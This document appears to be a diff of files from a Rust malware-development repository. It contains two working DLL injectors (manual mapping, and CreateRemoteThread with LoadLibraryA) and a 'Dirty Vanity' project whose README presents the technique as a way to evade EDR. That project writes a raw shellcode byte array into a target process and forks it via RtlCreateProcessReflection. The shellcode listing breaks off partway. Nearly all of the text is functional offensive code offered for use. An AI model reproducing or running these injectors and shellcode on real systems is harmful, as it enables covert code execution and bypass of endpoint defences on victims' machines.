(image_base as usize + *orig_thunk as usize) as *mut IMAGE_IMPORT_BY_NAME;
if (*import_by_name).Name.as_ptr() as usize - image_base as usize >= image_size
{
log!("ERROR", "Import name out of bounds");
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let func_name_ptr = (*import_by_name).Name.as_ptr() as *mut c_void;
let func_name_size = libc::strlen(func_name_ptr as *const i8) + 1;
let mut func_name_vec = vec![0u8; func_name_size];
if ReadProcessMemory(
process,
func_name_ptr,
func_name_vec.as_mut_ptr() as *mut c_void,
func_name_size,
null_mut(),
) == 0
{
log!(
"ERROR",
format!("Failed to read function name: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
let func_name = CString::new(func_name_vec).unwrap();
GetProcAddress(dll_handle, func_name.as_ptr())
};
if func_addr.is_null() {
log!(
"ERROR",
format!("Failed to resolve import: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
if WriteProcessMemory(
process,
thunk as *mut c_void,
&func_addr as *const _ as *const c_void,
std::mem::size_of::<u64>(),
null_mut(),
) == 0
{
log!(
"ERROR",
format!("Failed to write import thunk: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
thunk = thunk.offset(1);
orig_thunk = orig_thunk.offset(1);
}
import_desc = import_desc.offset(1);
}
}
let entry_point = if nt_headers.OptionalHeader.AddressOfEntryPoint != 0 {
(image_base as usize + nt_headers.OptionalHeader.AddressOfEntryPoint as usize)
as *mut c_void
} else {
log!("WARN", "No entry point, DLL mapped but not executed");
return true;
};
let thread = CreateRemoteThread(
process,
null_mut(),
0,
Some(std::mem::transmute(entry_point)),
image_base as *mut c_void, // hModule for DllMain
0,
null_mut(),
);
if thread.is_null() {
log!(
"ERROR",
format!("Failed to create remote thread: Error {}", GetLastError())
);
VirtualFreeEx(process, image_base, 0, MEM_RELEASE);
return false;
}
WaitForSingleObject(thread, 10000);
CloseHandle(thread);
log!(
"INFO",
format!("DLL '{}' injected at {:p}", dll_path, image_base)
);
true
}
fn main() {
let args: Vec<String> = args().collect();
if args.len() < 3 {
log!(
"ERROR",
"Usage: dll_inject.exe <Process Name> <DLL Path 1> [DLL Path 2] ... [--method CRT|APC|TH]"
);
return;
}
let mut method = "CRT";
let mut dll_paths = Vec::new();
let mut process_name = "";
for (i, arg) in args.iter().enumerate() {
if i == 1 {
process_name = arg;
} else if arg == "--method" {
if i + 1 < args.len() {
method = &args[i + 1];
if method != "CRT" && method != "APC" && method != "TH" {
log!("ERROR", "Invalid method specified. Use CRT, APC or TH");
return;
}
} else {
log!("ERROR", "Missing method argument after --method");
return;
}
} else if i > 1 && !arg.starts_with("--") && (i == 0 || args[i - 1] != "--method") {
dll_paths.push(arg.clone());
}
}
if dll_paths.is_empty() {
log!("ERROR", "No DLL paths provided");
return;
}
unsafe {
let pid = get_pid(process_name);
log!(
"INFO",
format!("Found PID {} for process '{}'", pid, process_name)
);
let process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if process == NULL {
let error_code = GetLastError();
match error_code {
5 => log!("ERROR", "Access denied. Try running as administrator."),
87 => log!("ERROR", "Invalid PID or process does not exist."),
_ => log!(
"ERROR",
format!("Failed to open process: Error Code {}", error_code)
),
}
return;
}
log!(
"INFO",
format!("Opened process {} with handle {:?}", pid, process)
);
for dll_path in &dll_paths {
log!("INFO", format!("Attempting to inject DLL: {}", dll_path));
if inject_dll(process, dll_path, method, pid) {
log!("INFO", format!("Injection completed for DLL: {}", dll_path));
} else {
log!("ERROR", format!("Failed to inject DLL: {}", dll_path));
}
}
CloseHandle(process);
}
}
+212
View File
@@ -0,0 +1,212 @@
/*
DLL Injector[Rewrite Version] in Rust.
@5mukx
*/
use std::env::args;
use std::ffi::CString;
use std::ptr::null_mut;
use winapi::ctypes::c_void;
use winapi::shared::ntdef::NULL;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::handleapi::CloseHandle;
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
use winapi::um::memoryapi::{VirtualAllocEx, VirtualFreeEx, WriteProcessMemory};
use winapi::um::processthreadsapi::{
CreateRemoteThread, GetExitCodeThread, OpenProcess, TerminateThread,
};
use winapi::um::synchapi::WaitForSingleObject;
use winapi::um::winbase::INFINITE;
use winapi::um::winnt::{MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PROCESS_ALL_ACCESS};
macro_rules! log {
($level:expr, $msg:expr) => {{
let color = match $level {
"DEBUG" => "\x1b[94m",
"INFO" => "\x1b[32m",
"WARN" => "\x1b[33m",
"ERROR" => "\x1b[31m",
_ => "\x1b[0m",
};
match $level {
"DEBUG" => println!("{}[||] {}\x1b[0m", color, $msg),
"INFO" => println!("{}[+] {}\x1b[0m", color, $msg),
"WARN" => println!("{}[!] {}\x1b[0m", color, $msg),
"ERROR" => println!("{}[-] {}\x1b[0m", color, $msg),
_ => println!("{}{}\x1b[0m", color, $msg),
};
}};
}
fn main() {
let args: Vec<String> = args().collect();
if args.len() != 3 {
log!("ERROR", "Usage: dll_inject.exe <PID> <DLL Path>");
return;
}
let pid: u32 = match args[1].parse() {
Ok(id) => id,
Err(_) => {
log!("ERROR", "Failed to parse PID");
return;
}
};
let dll_path = match CString::new(&*args[2]) {
Ok(path) => path,
Err(_) => {
log!("ERROR", "Failed to convert DLL path to CString");
return;
}
};
let dll_path = dll_path.to_str().expect("Error Converting CString to Str");
let dllsize = dll_path.len();
log!("INFO", format!("PID: {}", pid));
log!("INFO", format!("DLL Path: {}", dll_path));
unsafe {
let process: *mut c_void = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if process == NULL {
log!(
"ERROR",
format!(
"Failed to get handle to the process: Error Code {}",
GetLastError()
)
);
return;
}
log!("INFO", format!("HANDLE of {}: {:?}", pid, process));
let buffer = VirtualAllocEx(
process,
null_mut(),
dllsize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if buffer == null_mut() {
log!(
"ERROR",
format!("Failed to allocate buffer: Error Code {}", GetLastError())
);
CloseHandle(process);
return;
}
log!("INFO", format!("Buffer Allocated: {:#?}", buffer));
let write_process = WriteProcessMemory(
process,
buffer,
dll_path.as_ptr() as *const c_void,
dllsize,
null_mut(),
);
if write_process == 0 {
log!(
"ERROR",
format!(
"Failed to write DLL path to process memory: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
CloseHandle(process);
return;
}
log!("INFO", format!("Wrote {} to process memory", dll_path));
let kernel32 = GetModuleHandleA("kernel32.dll\0".as_ptr() as *const _);
if kernel32.is_null() {
log!(
"ERROR",
format!(
"Failed to get handle to kernel32.dll: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
CloseHandle(process);
return;
}
log!(
"INFO",
format!("Got handle to kernel32.dll: {:#?}", kernel32)
);
let load_library_addr = GetProcAddress(kernel32, "LoadLibraryA\0".as_ptr() as *const _);
if load_library_addr.is_null() {
log!(
"ERROR",
format!(
"Failed to get address of LoadLibraryA: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
CloseHandle(process);
return;
}
log!(
"INFO",
format!("LoadLibraryA Address: {:#?}", load_library_addr)
);
let thread = CreateRemoteThread(
process,
null_mut(),
0,
Some(std::mem::transmute(load_library_addr)),
buffer,
0,
null_mut(),
);
if thread.is_null() {
log!(
"ERROR",
format!(
"Failed to create remote thread: Error Code {}",
GetLastError()
)
);
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
CloseHandle(process);
return;
}
log!("INFO", format!("Remote thread created: {:#?}", thread));
WaitForSingleObject(thread, INFINITE);
let mut exit_code = 0;
GetExitCodeThread(thread, &mut exit_code);
if exit_code == 0x00000103 {
log!("INFO", "Thread is still active, terminating it.");
TerminateThread(thread, 0);
}
VirtualFreeEx(process, buffer, 0, MEM_RELEASE);
CloseHandle(thread);
CloseHandle(process);
log!("INFO", "DLL Injection executed successfully!");
return;
}
}
+25
View File
@@ -0,0 +1,25 @@
# Debug only printing macros for testing
This module provides macros for conditional debug printing. These macros only output content
during debug builds (e.g., when running `cargo build` or `cargo run`). In release builds
(e.g., `cargo build --release` or `cargo run --release`), the print statements are completely
omitted by the compiler, ensuring no performance overhead or unnecessary output in production.
This is useful for debugging purposes, such as logging intermediate values or states during
development, without affecting the final release binary.
## Usage
- Use `dprint!` and `dprintln!` for standard output (stdout).
- Use `deprint!` and `deprintln!` for standard error (stderr).
These macros support the same formatting syntax as Rust's built-in `print!`, `println!`, `eprint!`, and `eprintln!` macros.
## Example
```rust
dprintln!("This will only print in debug mode: {}", some_value);
deprint!("Error-like message to stderr in debug: {}", error_code);
```
Note: These macros rely on the `#[cfg(debug_assertions)]` attribute, which is enabled by default in debug builds and disabled in release builds.
+51
View File
@@ -0,0 +1,51 @@
//! debug_print.rs
//!
//! This module provides macros for conditional debug printing. These macros only output content
//! during debug builds (e.g., when running `cargo build` or `cargo run`). In release builds
//! (e.g., `cargo build --release` or `cargo run --release`), the print statements are completely
//! omitted by the compiler, ensuring no performance overhead or unnecessary output in production.
//!
//! This is useful for debugging purposes, such as logging intermediate values or states during
//! development, without affecting the final release binary.
//!
//! # Usage
//!
//! - Use `dprint!` and `dprintln!` for standard output (stdout).
//! - Use `deprint!` and `deprintln!` for standard error (stderr).
//!
//! These macros support the same formatting syntax as Rust's built-in `print!`, `println!`,
//! `eprint!`, and `eprintln!` macros.
//!
//! # Example
//!
//! ```rust
//! dprintln!("This will only print in debug mode: {}", some_value);
//! deprint!("Error-like message to stderr in debug: {}", error_code);
//! ```
//!
//! Note: These macros rely on the `#[cfg(debug_assertions)]` attribute, which is enabled by default
//! in debug builds and disabled in release builds.
// Prints formatted output to standard output (stdout) only in debug builds.
#[macro_export]
macro_rules! dprint {
($($arg:tt)*) => (#[cfg(debug_assertions)] print!($($arg)*));
}
// Prints formatted output to standard output (stdout) followed by a newline, only in debug builds.
#[macro_export]
macro_rules! dprintln {
($($arg:tt)*) => (#[cfg(debug_assertions)] println!($($arg)*));
}
// Prints formatted output to standard error (stderr) only in debug builds.
#[macro_export]
macro_rules! deprint {
($($arg:tt)*) => (#[cfg(debug_assertions)] eprint!($($arg)*));
}
// Prints formatted output to standard error (stderr) followed by a newline, only in debug builds.
#[macro_export]
macro_rules! deprintln {
($($arg:tt)*) => (#[cfg(debug_assertions)] eprintln!($($arg)*));
}
+16
View File
@@ -0,0 +1,16 @@
[package]
name = "Dirty_Vanity"
version = "0.1.0"
edition = "2024"
[dependencies]
windows = { version = "0.61.1", features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_SystemServices",
"Win32_System_LibraryLoader",
"Win32_System_SystemInformation",
"Win32_System_Memory",
"Win32_System_Diagnostics_Debug",
"Win32_System_Threading",
] }
+27
View File
@@ -0,0 +1,27 @@
## Dirty Vanity
Dirty Vanity is a sophisticated code injection technique that exploits the Windows operating system's forking mechanism, specifically through process reflection and snapshotting, to evade Endpoint Detection and Response (EDR) systems. Unlike traditional code injection methods that follow a predictable "Allocate, Write, Execute" pattern, Dirty Vanity introduces a "Fork" primitive that disrupts EDR detection by separating the write and execution phases across different processes. This technique leverages the Windows fork APIs, such as RtlCreateProcessReflection or NtCreateProcessEx, to create a cloned process with the injected payload, which executes without triggering typical EDR monitoring hooks.
![PoC](image.png)
## How does it work ?
Dirty Vanity manipulates the Windows forking mechanism to bypass EDRs by executing malicious code in a forked process that appears clean to detection systems
1. Traditional Injection: Involves three steps:
* Allocate: Reserve memory in the target process
* Write: Inject shellcode into the allocated memory
* Execute: Run the shellcode
EDR's detect injections by correlating these three operations on the same process.
Here, The Dirty Vanity's approach is to split the execution phase into a separate forked process, breaking the correlation EDRs rely on. The forked process inherits the shellcode but appears untouched by write operations, evading detection.
Click here to : [Download PoC](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Dirty_Vanity)
## Credits / Resources
* https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass
* https://github.com/deepinstinct/Dirty-Vanity
Written in Rust By [@5mukx](https://x.com/5mukx)
Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

+117
View File
@@ -0,0 +1,117 @@
use std::ptr::null_mut;
use windows::{
core::{s, Error, Result},
Win32::{
Foundation::{HANDLE, STATUS_SUCCESS},
System::{
Diagnostics::Debug::WriteProcessMemory,
LibraryLoader::{GetProcAddress, LoadLibraryA},
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
Threading::{OpenProcess, PROCESS_CREATE_THREAD, PROCESS_DUP_HANDLE, PROCESS_VM_OPERATION, PROCESS_VM_WRITE},
},
},
};
use crate::shellcode::{ClientId, RtlCreateProcessReflectionFn, RtlpProcessReflectionInformation, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, SHELLCODE};
mod shellcode;
fn main() -> Result<()>{
// pid
let args: Vec<String> = std::env::args().collect();
if args.len() != 2{
println!("[+] Usage: DirtyVanity [TARGET_PID_TO_REFLECT]");
return Err(windows::core::Error::from_win32());
}
let pid: u32 = args[1].parse().map_err(|_|{
println!("[-] USAGE: Invalid PID choice: {}", args[1]);
Error::from_win32()
})?;
let handle = unsafe {
OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,
true,
pid,
)?
};
println!("[+] Got a handle to PID {} successfully", pid);
let shell_len = SHELLCODE.len();
let base_addr = unsafe{
VirtualAllocEx(
handle,
None,
SHELLCODE.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
)
};
if base_addr.is_null(){
println!("[-] Unable to Allocate Space");
return Err(Error::from_win32());
}
println!("[+] Allocated space for shellcode at start address: {:p}", base_addr);
// write shellcode to process
let mut bytes_written = 0;
unsafe {
WriteProcessMemory(
handle,
base_addr,
SHELLCODE.as_ptr() as *const _,
shell_len,
Some(&mut bytes_written)
)?;
}
println!("[+] Successfully wrote shellcode to victim. About to start the Mirroring");
let ntdll = unsafe { LoadLibraryA(s!("ntdll.dll"))? };
let rtl_create_process_reflection: RtlCreateProcessReflectionFn = unsafe {
let proc = GetProcAddress(ntdll, s!("RtlCreateProcessReflection")).expect("[-] Error obtaining Address of RtlCreateProcessReflection...");
std::mem::transmute(proc)
};
let mut reflection_info = RtlpProcessReflectionInformation {
reflection_process_handle: HANDLE(null_mut()),
reflection_thread_handle: HANDLE(null_mut()),
reflection_client_id: ClientId {
unique_process: HANDLE(null_mut()),
unique_thread: HANDLE(null_mut()),
},
};
let status = unsafe {
rtl_create_process_reflection(
handle,
RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE,
base_addr,
null_mut(),
HANDLE(null_mut()),
&mut reflection_info,
)
};
if status == STATUS_SUCCESS {
println!(
"[+] Successfully Mirrored to new PID: {}",
reflection_info.reflection_client_id.unique_process.0 as u32
);
} else {
println!("[!] Error Mirroring: ERROR {}", status.0);
}
Ok(())
}
+375
View File
@@ -0,0 +1,375 @@
use std::ffi::c_void;
use windows::Win32::Foundation::{HANDLE, NTSTATUS};
pub const RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES: u32 = 0x00000002;
pub const RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE: u32 = 0x00000004;
// Define CLIENT_ID structure
#[repr(C)]
pub struct ClientId {
pub unique_process: HANDLE,
pub unique_thread: HANDLE,
}
// Define RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION structure
#[repr(C)]
pub struct RtlpProcessReflectionInformation {
pub(crate) reflection_process_handle: HANDLE,
pub(crate) reflection_thread_handle: HANDLE,
pub(crate) reflection_client_id: ClientId,
}
// Define RtlCreateProcessReflection function signature
pub type RtlCreateProcessReflectionFn = unsafe extern "system" fn(
process_handle: HANDLE,
flags: u32,
start_routine: *mut c_void,
start_context: *mut c_void,
event_handle: HANDLE,
reflection_information: *mut RtlpProcessReflectionInformation,
) -> NTSTATUS;
pub const SHELLCODE: &[u8] = &[
0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03, 0x00, 0x00,
0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B,
0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08,
0x48, 0x8B, 0x45, 0x08, 0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B,
0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x83, 0xC0, 0x20,
0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00,
0x72, 0x00, 0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8,
0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x48, 0x89,
0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00,
0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x58, 0x01, 0x00, 0x00,
0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D,
0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7,
0x85, 0x60, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x85,
0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E,
0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7,
0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB, 0x46,
0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,
0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88,
0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65,
0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,
0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,
0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00,
0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64,
0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01,
0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00,
0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,
0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7,
0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x6C, 0x01,
0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,
0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,
0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00, 0xEB,
0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8,
0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00,
0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00,
0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01, 0x00,
0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,
0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65,
0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01,
0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F,
0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C,
0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89,
0x85, 0x60, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00,
0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00,
0x00, 0x48, 0x89, 0x85, 0x50, 0x01, 0x00, 0x00, 0xEB, 0x25,
0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00,
0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85,
0x50, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x70, 0x01, 0x00,
0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C,
0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C, 0x00, 0x2E,
0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45,
0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00,
0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x40, 0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48,
0x8D, 0x45, 0x38, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,
0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00,
0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB,
0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8,
0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00,
0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
